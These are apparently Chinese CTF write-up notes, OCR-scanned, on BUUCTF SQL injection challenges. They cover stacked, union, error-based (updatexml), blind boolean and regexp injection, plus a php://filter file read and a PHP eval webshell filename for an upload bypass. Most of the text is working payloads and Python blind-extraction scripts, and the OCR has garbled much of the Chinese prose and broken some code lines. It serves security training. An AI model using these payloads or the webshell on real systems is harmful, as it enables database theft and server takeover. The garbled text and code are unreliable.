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1' # iR

1'--+ # 1IE¥ H ANTrue

1' and 1=1 --+ # IE® H ATrue
1' and 1=2 --+ # IE% H ANFalse

?inject=1"' order by 3--+ # error 1054 : Unknown column '3' in 'order clause'

=1'; show tables; --+ $ # 1919810931114514 words
?inject=1"; show columns from words; --+ #
show columns from ~1919810931114514 ;--+

1919810931114514{
flag varchar(109);

}

payload1: BH*E

?inject=1"'; rename table "words’ to "wordsl ; rename table 1919810931114514° to "words ; alter table “words’ ch
ange “flag® “id" VARCHAR(100) character set utf8 collate utf8_general_ci not null;--+

payload2: T4

1';Set @a=concat("sel","ect flag from "1919810931114514" ");Prepare s from @a, execute s; --+

flag

flag{34745aea-2541-43e6-884f-c67988afc34a}
sqlIEHEATLFE

1 # EEHA

1' # HiREE, WG| S RNRTEEREN A
1' --+ # FIWEANRE

1' and 1=1 --+ # JIWEANER

1' and 1=2 --+ # JIWEANER

order by 3 --+ # FIW5I%

show databases;
tables;

table from db_name;

engine;

character set; #ER IR FITE

columns;

create databases; #ERCZAIEKE, BN KIEH
create table; #ERCABIEME, SIENKIEH

sqIESIEAN
W45 R A] LR — A7 $AT 2 A sqliE )

sqis®R



rename table “words® to "test’;
rename table ~1919810931114514° to “words ;

alter table “words™ change “flag"™ “id" varchar(100);

sqITfigm ¥

SET; # AT REREANE

PREPARE stmt_name FROM preparable stmt; # FTH&—/NEA, HWRTFEHK, LU LLSIHZIER
EXECUTE stmt_name; # PATIEA]

{DEALLOCATE | DROP} PREPARE stmt_name; # JHRBHE AL T 1)iE )

S 45
set @sql=CONCAT('se', 'lect * from ~1919810931114514 ;');
prepare stmt from @sql;

execute stmt;
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*%%: boolHE

% Fpayload 8 & ¥ 1%

ZRERBN, 127 LA, ZJ5HARIT

ZREIEN, RAE BS54k Ebool(false), FiZ#tRboolE BT

payload&y

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f"),1,2)

BT 125 AR, REZAEATEANBAT
A LLEE — AN, DR R i wafid 8

JEA



import requests
url="http://a%9e8a73f-f3d4-4ee4-al65-78c21730F40d.node3.buuoj.cn/index.php"

"Hello, glzjin wants a girlfriend."

"Do you want to be my girlfriend?"

for i in range(60):
# print("debug")
flag = False
for j in range(9,256):
= chr(j)
# print(c)
"if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i+1l, j) #ERILANIE RasciifiGHIli, K Asq
1P AKX RDG, HEAMFHFESEXNT] 5855 KNGS E
post _data = {
":s
¥
# print(s)
response = requests.post(url, post_data)
if textl in response.text:
flag = True
ans += ¢
print(c)
break
if flag == False:
break
print(ans)

# if(substr(select(flag)from(flag),{},1)={},1,2)

XA RS, REMENHEEFHRAD. —DRESRRascifd &k (KRELIE Tord, FikHRegMascidtTi#im) , — 42
range FRR & & ~32 (‘a’ N32FF46)

wpiRfE T — AN AR

import requests

url = "http://a9475c38-821c-4b23-2296-87730f0863fe.node3.buuoj.cn/index.php"
'Hello, glzjin wants a girlfriend.'

for i in range(1, 50):
sleep(1)
high = 127
low = 32
mid (high + low) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=1i, char=mid)
data = {'id': payload}
response = requests.post(url=url, data=data)
if flag in response.text:
low = mid + 1
else:
high = mid
mid = (high + low) // 2

result += chr(mid)
print(result)




CyberPunk
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Z%22. phpthhill, xpathifk4liEN, load_file
%% hitps://lwww.cnblogs.com/wangtanzhi/p/12318551.html

B—P

BRI, indexHH A LA get 75 i 32 file S %, B AT F php Dy i I B #2235 B IR RS

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

<?php //index.php
ini_set('open_basedir', '/var/www/html/");

= $ GET["file"];
= (isset($_GET['file']) ? $ GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%@@/i",$file)) {
echo('no way!");
exit;
)i
@include($file);

<!--?file=?-->

<?php //change.php
require_once "config.php";

if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = "'
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i';
$user_name = $ POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $ POST["phone"];
if (preg_match($pattern,$user name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!’;
}else{
$sql = "select * from “user’ where “user_name ='{$user_name}' and " phone ='{$phone}'";
$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update “user® set “address ='".$address."', “old address ='".$row['address']."' where ‘user_id 4
".$row[ "user_id'];
$result = $db->query($sql);
if(!$result) {




echo 'error';
print_r($db->error);
exit;

¥

$msg = "e®¢a a3

<?php //search.php

require_once "config.php";

if(!empty($ POST["user_name"]) && !empty($ POST["phone"]))

{
fmsg = "'

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

$user_name = $ POST["user_name"];
$phone = $ POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!';
}else{

$sql = "select * from “user’ where “user_|

$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;

}

name” ='{$user _name}' and " phone ='{$phone}'";

$msg = "<p>a§“a :".$row['user_name']."</p><p>, ¢”’pe” :".$row[ 'phone’]."</p><p>, ae°a €:".$row[ 'address’

1."</p>";
} else {

$msg = "melatua °e®¢d oM

RIAE3 N phpH, #BStuser_namefllpatternit4T T i3, Kk R EEfEaddress EHEITIEN.

XEZEZ, HfEchange.php XtaddressiiT T sqli&f],
—REN, ##ER{/EFEindex. phpHlchange.phpH

/ /B

1' where user_id=updatexml(1,concat(@x7e, (select
EZ=

1' where user_id=updatexml(1,concat(@x7e, (select
le_schema='ctfusers'),0x7e),1)#

/ /7B

1' where user_id=updatexml(1,concat(@x7e, (select
olumns where table _name='user'),0x7e),1)#

/ /B

1' where user_id=updatexml(1,concat(@x7e, (select
1' where user_id=updatexml(1,concat(@x7e, (select

15 Flflag

M #Esearch.php, & MEHEFEH iR [E T address B . #ux2—4

substr(database(),1,20)),0x7e),1)#

substr(table_name,1,20)from information_schema.tables where tab

substr(group_concat(column_name),1,20)from information_schema.c

substr(load file('/flag.txt'),1,20)),0x7e),1)#
substr(load file('/flag.txt'),20,50)),0x7e),1)#

flag{05e89701-1f01-4719-965c-3d59d7e0f664}

xpath#R & EN

updatexml (1, concat(@x7e,SUBSTR((SELECT fl4g from f14g LIMIT 0,1),1,24),0x7e),1) # mLER32M, FEREsubstrfiif




phpth i

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php # Plbase64/7 A iLHEL$E & W H R

EasySQL

kJE: SUCTF2019

8. WBEN, sql_mode

2% hitps://baynk.blog.csdn.net/article/details/105241226, https://my.oschina.net/u/4413091/blog/3384385
B

Se Ffuzz BBt AT I, RILKER S R uE (select, and, M5|5%)

BRI S BLIE

L ;7

SRJE HEAT T T 2

1;show databases;

1; show tables;

WARBER, HAIE Hitable vflag
{H R 2R A BRI R, [ A flag fifrom gt i€

1, show flag from flag;

B=2

BERFEBRZIN, REEREIZREN, FHlESEDN

select $_POST['query'] | xxx from flag; # xxx®Et[0] => 1, FANRRZH A FEHBERF &R

BEod XMEAE PRI
payload1

HIE/ 5%

payload2

Eisql_mode, |BMAEERF, TAREZEK

1;set sql_mode=PIPES_AS CONCAT;select 1

FYP
5 %lflag

flag{e8aa1999-1dbc-4b3f-86d9-b961ff44cfO9}

sql_mode



2% https://www.cnblogs.com/piperck/p/9835695.html

TE U EESTERsqLER:
mysgql> select @@session.sql_mode;
B IR AR B B

mysgl> show variables like "sql _mode";

B E4Risql_mode# & :

mysql> select @@global.sql_mode;
RitEglobal, TEEFEEIRS LMK
% B a0

mysql> set sql_mode="";
mysql> set global sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

mMiEEF, BiERsql_modeX%
EasySQL

FBH SRR R KPEAR2019
5. JIReED

username: admin' or 1=1#

password: 1

flag{2d7e92c3-eed8-407e-9763-0a6658112030}

LoveSQL

RIE: R RPHE2019

2% hitps://blog.csdn.net/vanarrow/article/details/107991185
EE. REEAN

iRz

username: admin' or 1=1#
password: 1

Hello admin!
our password is 'c2fle24e0e83d0373e5bbe94c3168506"

username=admin&password=c2fle24e0e83d0373e5bbe94c3168506' and '1'='1  #Login Success

¥R
RHEwp

Pusername=1"'#&password=1 # #iRinput your name and password, UiBHiBHIKIEN select xxx from database where usernam

e='$_GET[username]' and password='$_GET[password]'’
?username=18&password=12" or '1'='1 # WiF E—%4%1®, T MusernamefbiFHTIEN

EE, XEAENMI. HFEEERAEESY, EURLSBARER%23. MEfrefoxifihackbartHE#, RASHIRM Bisqlif )+
FIVE R AT B



kb A ZRAEusernameE AT IEN

Pusername=admin' order by 4 %23&password=1

R

username=1"' union select 1,2,3 %23&password=1
t#t BR2,3. B2 FI3RENNL

Pusername=1"' union select 1,database(),2 %23&password=1
it Eongeek, NEIEEL

Pusername=1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='
geek'),2 %23&password=1
# Engeekuser,lovelysql

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table name='geekus
er'%23&password=1

i &7~ 'id,username, password’

H BERNE, BhAflag, Hii&FELlovelysql

Pusername=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='1l@vely
sql' %23&password=1

# 7~ 'id,username,password’

Pusername=1' union select 1,2,group_concat(id,username,password) from lOvelysql %23&password=1

# 78 '1cldywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m311inux_chuang_shi_r
en,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_ kuai_fu_ji,10fouch
di_4 kuai_fu_ji,11fouc5di_5_ kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_ kuai_fu_7ji,14fouc5di_8 kuai_fu_7ji,151¢
ixiaoSyc_san_da_hacker,16flagflag{8e0@fc55e-8d36-4db0-a48e-7e2a57fea@c9}"

WIEEFES, [Eflag

N

#EHackbartdt, #bhget)y iR sqliff), TEERELEE. LIz A+, #9%23%
BabySQL
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EE: WE5%T

Pusername=1"' order by 1 %23&password=1
# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the
right syntax to use near 'der 1 #' and password='1'' at line 1

select x,y,z from db where username='username’ and password='password’

BHEwp, B PAXE Seit



?username=123" ununionion seselectlect 1,database(),3%23&password=bbyy

?username=1' uniunionon seselectlect 1,2, group concat(table name) ffromrom infoorrmation_schema.tables whwherg)
ere table schema=database() %23&password=123

it 7~ b4bsql, geekuser
Pusername=1"' uniunionon seselectlect 1,2, group_concat(column_name) ffromrom infoorrmation_schema.columns whwhe
reere table name='b4bsql' %23&password=123

i 7~ id,username,password

fusername=1' uniunionon seselectlect 1,2, group_concat(passwoorrd) ffromrom b4bsql %23&password=123

H 7~ 'i_want_to_play 2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_foun
d_flag so_stop,i_told_you_to_stop,hack_by cldy,flag{389fb140-395f-4f93-9137-fea88d9947b5}"

B 3flag

hardsql

I e KBEER2019

225 https://lwww.cnblogs.com/wangtanzhi/p/12257412.html
%2, xpathiREETEAN

B I8

RIREHEAFLME, Bitfuzil 7 —TF (WAFE—AFES, HERNFELE A2
g Runionflland 25 H& #8498

&I IETT LUH BL R B AT sqliE A

TN AZEERSY

RIIREEEN B updatexmli&id 38, 28

?username=admin'~updatexml (1, concat(0x7e, (SELECT(database())),0x7e),1)%23&password=123

# JREXPATH syntax error: '~geek~'

ZJa#RAERAM

WATE

?username=admin'~updatexml (1, concat(0x7e, (select(password)from(H4rDsql)),0x7e),1)%23&password=123

# flag{582fdad8-ebec-495e-acda-7

R T —kMflag, Tisubstrigid i

WiEwp, 1 leftfright#t T HHERIE .

?username=admin'~updatexml (1, concat(0x7e, (select(right(password,30))from(H4rDsql)),0x7e),1)%23&password=123

# 8-ebec-495e-acda-76d8e7055dec}

WE LME Freverse i $t, BAIEL LUK ERERT
finalsql

KIE: R REER2019



%% https://lwww.cnblogs.com/hello-there/p/13026698.htm
8. REIEAN

HEFuzzll, KIEIE T K F B

Fxkv5 R T R AR, RIURL E2FidF B, T [1,6]2 5 idER, 23R77ERROR. HEHAL AN AR /RIEAN

HFFUZZFifgad 8, HREAFMUEIf

import requests
url="http://fb37a3d0-7d7e-44ae-8436-df42f39c93a3.node3.buuoj.cn/search.php?id=1"
"Not this!"

for i in range(1, 600):
# print("debug")
low = 31
high = 128
while low < high:
mid = (low + high) >> 1
# print(c)
# s = "~(ascii(substr(database(),{},1))>{})".format(i,mid)
s = "~(ascii(substr((select(group_concat(password))from(FlnalIly)),{},1))>{})".format(i,mid)
# print(s)
# print(url+s)
response = requests.get(url+s)
# print(response.text)
if "ERROR" in response.text:
low = mid + 1
else:
high = mid
if low == 31 or high == 128:
break
ans += chr(low)
print(ans)
print(ans)

# if(substr(select(flag)from(flag),{},1)={},1,2)

flag{6103d756-d25b-48b2-bf23-940081a321df}

BabySAQli1

KJE: GXYCTF2019

2% https:/;www.cnblogs.com/shangguanchanghong/p/13805558.html
5. KNFRE, FaEARFN

Fuzzlllif, »fPLE Bladmin'#@Rsqlisin, FHRIISEN: £S5, A5, &
5, or, ord, order, information_schema.tables, concat ws, xorZE#idyE




BE M IR

MMZFM422K5HDASKDNS5TVU3SKOZRFGQRRMMZFMEKJIBSGOWSYJIWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPJS5

RYE
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7 %E9%A2%98%E2%80%94 %E2%80%94SQL%E6%B3%A8%
E5%85%A5#GXYCTF2019-BabysqliV1

base32 R ARG FHMBMFHFHM, HEFHA=ZAEFS

base64 R ARG FHRHMET, NGFRAR, FH-BRANMET.

&, MBEFRbase32N%

c2VsZWNOICogZnIvbSB1c2VyIHdoZXI1IHVzZXJuYW11IDOgIyRUYW11Iw==

select * from user where username = '$name’

KAAEGE, [BEIFIH

name=admin' Or 1 Order by 3 #&pw=admin

name=admin' Or 1 Order by 4 #&pw=admin

WiRkname N —4T

name=a‘' union select 'admin',2,3 #&pw=admin

name=a‘' union select 1, 'admin’,3 #&pw=admin

B M Rpassthix, U adminlE SR — 47
FEEAadminBEA B 5| SHEREkR, EsqiEAHSPEMBRAF/E, MARKENFI4A
wpit, —fJE & HSHAmMI5iHEELhashiE 76, B LA I G SRR D 2 X A

<?php
$name = $ POST[ 'name'];
$passwd = md5($_POST[ ‘pw']);

$sql = "select * from user where username = '$name'";

$query = mysql_query($sql);

if (!strcasecmp($passwd, $query[passwd])) {
echo $flag;

} else {

echo("Wrong Pass");

}

Fit bApassword Aypwi {E i md5 {8 B AT

name=a‘' union select 1, ‘'admin’, '21232f297a57a5a74389420e4a801fc3"' #&pw=admin

flag{d69a@lfe-e2ac-4330-b89a-d2ffef6bcacO}

EasySQL
JPH: RCTF2015

2%
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5. WMEEN, sqlfireverseE i, sqlffiregexp i
EM+EFHEN R, HRERE
FABFEWUERAFZ, 15 HEER P 243N

DREME Pz Mz, z' e SEDR R e

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the rig

ht syntax to use near "'"zz"" and pwd='c81e728d9d4c2f6361f067f89cc14862c'"' at line 1

S 3 SR i i A R EBCA

select * from user where username = "zz" and and pwd='c81e728d9d4c2f636f067f89cc14862c' # JaMHIXANN i%Zmd5(E

42 J5 HixpathyE N Bl 7]

FEEABEIE T or, substr, LR, FEHEA

username=zz" | |updatexml (1, concat(@x7e,database(),0x7e),1)#&password=2&email=2

web_sqli

username=zzz" | |[updatexml(1, concat(@x7e, (select(group_concat(table_name))from(information_schema.tables)where(tab
le_schema="'web_sqli')),0x7e),1)#&password=2&email=2

article flag,users

username=zzz" | |updatexml(1, concat(@x7e, (select(group_concat(column_name))from(information_schema.columns)where(t
able_name='users')),0x7e),1)#&password=2&email=2

~name,pwd,email,real_flag_1s_her

username=zzz" | (updatexml(1, concat(@x7e,reverse((select(group_concat(column_name))from(information_schema.columns

)where(table_name='users'))),0x7e),1))#&password=2&email=2

‘~ereh_s1_galf_laer,liame,dwp,ema’

zzz" | | (updatexml(1, concat(@x7e, (select(group_concat(real flag 1s_here))from(users)),0x7e),1))#

Zikreverse

zzz" | | (updatexml(1,reverse(concat(@x7e, (select(group_concat(real flag 1s here))from(users)),0x7e)),1))#

1% Fregexp#E4T 1E ] UG AR

username=zzz" | | (updatexml(1,concat(@x7e, (select(group_concat(real flag 1s_here))from(users)where(real flag 1s_he

re)regexp('~f')),0x7e),1))#&password=2&email=2

‘~flag{8ab20865-f566-4f30-a861-10’

reverse— |

username=zzz" | | (updatexml(1,reverse(concat(@x7e, (select(group_concat(real flag 1s here))from(users)where(real f1

ag 1s_here)regexp('~f')),0x7e)),1))#&password=2&email=2




‘~}5cdb11ddaa01-168a-03f4-665f-56’
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id=if(1=1,3,2)
#t Error Occured When Fetch Result.

WARENBBIEIEE A

28 Finformation_schema3k8#% 4, T3

WBH#Ewp, fFHsys.x$schema_flattened_keys

select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'

"select group_concat(table_name) from sys.schema_table_statistics with_buffer where table_schema=database()"
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users23333333333333 ,flag 1s_h3r3_hhhhh
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import requests
from time import sleep
url="http://8ec28565-2e76-4246-ba91-4641f78374a6.node3.buuoj.cn/index.php"

"select group concat(table name) from sys.schema_table statistics with_ buffer where table schema=data

"(select 1,'{}")>(select * from flag_1s_h3r3_hhhhh)"
range(1l, 600):

# print("debug")

low = 32

high = 128

while low < high:

mid = (low + high) >> 1

# print(c)

str_temp = ans + chr(mid)

payload_temp = payload3.format(str_temp)
post_data ={

"id": "2||({})".format(payload_temp)

}

response = requests.post(url, data = post_data)
print(response.text)

print(mid)

if text not in response.text:

high = mid

else:

low = mid + 1
if low == 32 or high == 128:

break
ans = ans + chr(low - 1)

FLAG{9771B2DF-3F20-4E74-A4C6-B73CE4CI9DEB9}

I BA LR, R REEY .

M Ainformation_schema3k 15 % 42 it 77 ¥

select group_concat(table name)from sys.x$schema_flattened_keys where table_ schema=database()
select group_concat(table name) from sys.schema_table statistics_with_buffer where table_ schema=database()
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2% https://guokeya.github.io/post/nctf2019sqliregexp-zhu/
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AR IE R BAij [Alrobots.txt, BTG 15 Al hint.txt, 15 25t 8 B 42 5

WHEwp, regexpBitig, HAIHIEE TregexpRiEIENIER]

import requests

import time

from urllib import parse

import string

url="http://ee@6d8fc-6daa-4c18-bad5-ac4293161510.node3.buuoj.cn/index.php"
= string.ascii_letters+' '+string.digits

"welcome.php"

for i in range(1, 100):
# print("debug")
low = 32
high = 128
flag False
# for j in range(low, high):
for j in string:
# print(c)
# time.sleep(0.5)
str_temp = ans + j
post_data ={
"username": "\\",
"passwd": '||/**/passwd/**/regexp/**/"~{}";{}'.format(str_temp,parse.unquote('%00"'))
}
response = requests.post(url, data = post_data)
# print(response.text)
if text in response.text:
# print(response.text)
ans = str_temp
flag = True
print(ans)
break

if flag == False:
break

R
Hep, XBIEQAN

"username": "\\",
"passwd": '||/**/passwd/**/regexp/**/"~{}";{}'.format(str_temp,parse.unquote('%00"'))

E %t 8.5 53T 7L v, Frllusernamefb¥iin\, KHJEHIH G SidiE. HEEIEFNERER, A"\

MipasswdFH 2 T =ANMR R, — N EsqlfI BRER M R B BHE, —MEregexpMIM/REE, —M2&phpH %00 &N (It
KbpythonHIBHE R RE B BAE N, SHRIDAZS)

select user() regexp '~r' # Muser()FHBREHE rZHAKLKME, BHIEREL
BE—EAREERENRE, FRHRABM_. 7. KMNEZEFIER, BEREEascitDifil, <&z, REHRE
EEIR AT

you will never_Know7788990
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regexpfii /R HiE

select user() regexp ‘*r' # Muser()+ #IWr R EH LArZ B L IE, AR E
B SEAGT
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2% hitps://blog.csdn.net/weixin_43900387/article/details/103534108
#%2. mysqglinnodb_table_stats, WERIERSHT FH

BENTUTE , A v DT A0 8 3R U

FETE M U A 2R AT updatexml IR EHEN, BT EE R EERN A S HIEREM, WMEFEABANER. ZRXSKE, K
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BEEEM —AFF, BATEE, - MaANESHLE
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REBEEEE, KANLsqiEHER, WIRETRAENRK
JRATT A A2 B A F burp i fuzzbb B pR 5T,  ELiT 38 T order by, 47 54% 5%
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BRIE, EREBE-A22N8ES, ATHAEARSS

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22

B A

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22

&mariaDB-log, ‘& HImysglinnodb_tablefmysqH finformation_table.schemafk F —#

-1'union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table stats),3,4,5,6,7,8,9,1
©,11,12,13,14,15,16,17,18,19,20,21, '22

"BEIRA, REMBRE

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**

/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22
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St 5| ST
-1'union/**/select/**/1, '22

maria_db T fJ“information_schema”
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E5%85%A5#%E5%BC%BA%E7%BD %91%E6%9D %AF2019-Fakebook

AT, RAE—/NEFRH
BE 4 URL #2 i robots.txt, 32715 I hint.txt

PilEhinttxt, B FRR

Only u input the correct password then u can get the flag

and p3rh4ps wants a girl friend.

select * from users where username='$ POST["username"]' and password='$_POST["password"]"’;
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username: 1\
password: or/**/payload#
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import requests
from time import sleep

"http://cd4a52ced-49ff-4797-b075-989df5c9ad7a.node3.buuoj.cn/index.php"

‘username’: 'admin\\',

'password’ :

'BID needs to be stronger'

for i in range(1, 50):

sleep(0.5)

high = 127

low = 32

while high > low:
mid = (high + low) // 2
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
data[ 'password'] = payload

rs = requests.post(url=url, data=data)

if flag in rs.text:
low = mid + 1
else:
high = mid

if low != 32:

result += chr(low)
else:

break
print(result)

BE—NERFR, EFFERF L% Aadmin, FEMNZEFS, 193fag
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{B Zindex.phpiibak i A~k
tEfirefoxii AR B P4 o, R ISR U B 2008 2 3 S user. php Y, B ST M user. php R8EH 4 R HI
EERFE, FABMA

username: admin' or '1'='1 #

password: 123

RILPIE IR B 1 B A —
BXITAREEES, KRimglIRERXFER

<img src="image.php?id=2" width="200" height="200">

B limage.php?id=1, AT L5
E#iwp
T 2% 5 A Kwp

f# A dirmap# i Hi Fimage.php.bak 34 CXAMNAHEVERR/E, — EF Ntoo many requestioiks H IE#i 45

"config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\"'",""'"),"",%$id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

$result=mysqli_query($con, "select * from images where id='{$id}' or path='{$path}'");
$row=mysqli fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

KB, EHA"select * from images where id="{KaTeX parse error: Expected 'EOF’, got '}’ at position 3: id} or path="{ path}""
KB, T addslashes#istr_replace

b4k, addslashes RTERML\BTHHII—MRALETHF; Mstr_replaceRIEHMIUANFHFE HAZ

mHRREANKIMERZ RN, NmdEEZ EREES
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import requests
from time import sleep

"http://efflfaa®-512a-48cd-afc2-155bb1119cb2.node3.buuoj.cn/image.php?id=\\0&path="
tpayload = "or id=if(ascii(substr((select group_concat(table name) from information_schema.tables where table sc
hema=database()),{0},1))>{1},1,0)%23"
tpayload = "or id=if(ascii(substr((select group concat(column_name) from information_schema.columns where table
name="users'),{0},1))>{1},1,0)%23"
"or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
"or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"

for i in range(1, 100):
sleep(9.5)
low = 32
high = 127
while high > low:
mid = (high + low) >> 1
response = requests.get(url + payload.format(i, mid))
if flag in response.text:
low = mid + 1
else:
high = mid

if low != 32:

result += chr(low)
else:

break
print(result)

@59e57715afd21f67dbc

wp Bt B R A R — A0 ARSI, AT AR Sl

Content-Disposition: form-data; name="file"; filename=<?=@eval($_POST(['a']));?>
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